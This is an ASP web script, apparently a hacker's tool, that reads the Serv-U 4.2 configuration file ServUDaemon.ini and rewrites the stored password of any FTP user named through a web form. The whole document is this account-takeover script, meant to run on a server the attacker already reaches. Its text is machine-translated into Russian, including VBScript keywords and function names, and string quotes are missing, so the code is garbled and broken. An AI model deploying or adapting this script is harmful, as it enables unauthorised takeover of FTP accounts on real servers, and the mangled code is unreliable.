Следующий код проверяется для работы на Serv-U 4.2
<%
'| ######################### |
'| Выживший QQ: 54883661 |
'| Почта: [email protected] |
'| ######################### |
inipath = d:/program files/serv-u/servudaemon.ini 'Установите путь файла servudaemon.ini
user = [user = & request (user) & | 1]
pass = password = & request (pass)
Key = запрос (ключ)
Если ключ <> then
Dim OS, Userlong, Passlong, PL, SS
Установить fso = createObject (scripting.filesystemobject)
SET OS = FSO.Opentextfile (inipath, 1) 'прочитать Servudaemon.ini
S = OS.Readall
OS.Close
userlong = instr (s, user)+len (пользователь) +2
для i = userlong до userlong+20
Passlong = Passlong+1
Если ASC (Mid (s, i, 1)) = 13 then
Выход для
конец, если
следующий
pl = mid (s, userlong, passlong-1)
ss = reply (s, user & chr (13) и chr (10) и pl, user & chr (13) и chr (10) и pass)
Установить OS = fso.createTextFile (inipath, true) 'Напишите в servudaemon.ini
OS.Write SS
OS.Close
конец, если
%>
<form method = post>
Имя пользователя: <input type = text name = user> <br>
Новый пароль: <input type = text name = pass> <br>
<input type = отправить имя = значение ключа = modify> <br>
</form>